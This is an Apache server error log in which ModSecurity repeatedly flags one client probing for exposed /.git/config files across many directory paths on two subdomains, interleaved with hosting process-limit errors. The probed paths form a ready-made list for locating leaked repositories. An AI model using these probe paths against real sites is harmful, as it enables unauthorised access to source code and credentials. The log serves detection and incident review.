[Fri Jul 17 08:36:34.686992 2026] [hostinglimits:warn] [pid 1993584:tid 1993584] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(1993584) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.687167 2026] [security2:error] [pid 1993584:tid 1993584] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOlxP5-SsqbGuGB2mKAAAAAA"]
[Fri Jul 17 08:36:34.693743 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /www/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/www/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s5QAAABI"]
[Fri Jul 17 08:36:34.694157 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/www/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s5QAAABI"]
[Fri Jul 17 08:36:34.694296 2026] [security2:error] [pid 1993584:tid 1993584] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /frontend/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/frontend/.git/config"] [unique_id "almcOlxP5-SsqbGuGB2mKQAAAAA"]
[Fri Jul 17 08:36:34.694355 2026] [hostinglimits:warn] [pid 2018759:tid 2018759] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018759) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.694518 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOiQk8BZ0iVFZXo_s5QAAABI"]
[Fri Jul 17 08:36:34.694602 2026] [security2:error] [pid 1993584:tid 1993584] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/frontend/.git/config"] [unique_id "almcOlxP5-SsqbGuGB2mKQAAAAA"]
[Fri Jul 17 08:36:34.694785 2026] [hostinglimits:warn] [pid 1993584:tid 1993584] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(1993584) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.694961 2026] [security2:error] [pid 1993584:tid 1993584] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOlxP5-SsqbGuGB2mKQAAAAA"]
[Fri Jul 17 08:36:34.696793 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /app/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/app/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6XwAAABA"]
[Fri Jul 17 08:36:34.697164 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/app/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6XwAAABA"]
[Fri Jul 17 08:36:34.697345 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.697540 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOkkXT4NBqALj2lZ6XwAAABA"]
[Fri Jul 17 08:36:34.699519 2026] [security2:error] [pid 1993584:tid 1993584] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wordpress/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/wordpress/.git/config"] [unique_id "almcOlxP5-SsqbGuGB2mKgAAAAA"]
[Fri Jul 17 08:36:34.699781 2026] [security2:error] [pid 1993584:tid 1993584] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/wordpress/.git/config"] [unique_id "almcOlxP5-SsqbGuGB2mKgAAAAA"]
[Fri Jul 17 08:36:34.700032 2026] [security2:error] [pid 1993584:tid 1993584] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOlxP5-SsqbGuGB2mKgAAAAA"]
[Fri Jul 17 08:36:34.703854 2026] [security2:error] [pid 1993584:tid 1993584] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /build/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/build/.git/config"] [unique_id "almcOlxP5-SsqbGuGB2mKwAAAAA"]
[Fri Jul 17 08:36:34.704234 2026] [security2:error] [pid 1993584:tid 1993584] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/build/.git/config"] [unique_id "almcOlxP5-SsqbGuGB2mKwAAAAA"]
[Fri Jul 17 08:36:34.704559 2026] [security2:error] [pid 1993584:tid 1993584] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOlxP5-SsqbGuGB2mKwAAAAA"]
[Fri Jul 17 08:36:34.707213 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /backend/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/backend/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s5gAAABI"]
[Fri Jul 17 08:36:34.707612 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/backend/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s5gAAABI"]
[Fri Jul 17 08:36:34.707867 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /libs/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/libs/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6YAAAABA"]
[Fri Jul 17 08:36:34.707872 2026] [hostinglimits:warn] [pid 2018759:tid 2018759] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018759) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.708156 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOiQk8BZ0iVFZXo_s5gAAABI"]
[Fri Jul 17 08:36:34.708161 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/libs/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6YAAAABA"]
[Fri Jul 17 08:36:34.708421 2026] [security2:error] [pid 1993584:tid 1993584] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/admin/.git/config"] [unique_id "almcOlxP5-SsqbGuGB2mLAAAAAA"]
[Fri Jul 17 08:36:34.711253 2026] [security2:error] [pid 1993584:tid 1993584] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/admin/.git/config"] [unique_id "almcOlxP5-SsqbGuGB2mLAAAAAA"]
[Fri Jul 17 08:36:34.711578 2026] [security2:error] [pid 1993584:tid 1993584] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOlxP5-SsqbGuGB2mLAAAAAA"]
[Fri Jul 17 08:36:34.712420 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOkkXT4NBqALj2lZ6YAAAABA"]
[Fri Jul 17 08:36:34.715588 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wp-admin/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/wp-admin/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s5wAAABI"]
[Fri Jul 17 08:36:34.715661 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /packages/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/packages/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6YQAAABA"]
[Fri Jul 17 08:36:34.715951 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/packages/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6YQAAABA"]
[Fri Jul 17 08:36:34.715951 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/wp-admin/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s5wAAABI"]
[Fri Jul 17 08:36:34.716163 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.716305 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOiQk8BZ0iVFZXo_s5wAAABI"]
[Fri Jul 17 08:36:34.716982 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOkkXT4NBqALj2lZ6YQAAABA"]
[Fri Jul 17 08:36:34.719637 2026] [security2:error] [pid 1993584:tid 1993584] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /libs/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/libs/.git/config"] [unique_id "almcOlxP5-SsqbGuGB2mLQAAAAA"]
[Fri Jul 17 08:36:34.719985 2026] [security2:error] [pid 1993584:tid 1993584] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/libs/.git/config"] [unique_id "almcOlxP5-SsqbGuGB2mLQAAAAA"]
[Fri Jul 17 08:36:34.720165 2026] [hostinglimits:warn] [pid 1993584:tid 1993584] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(1993584) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.720331 2026] [security2:error] [pid 1993584:tid 1993584] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOlxP5-SsqbGuGB2mLQAAAAA"]
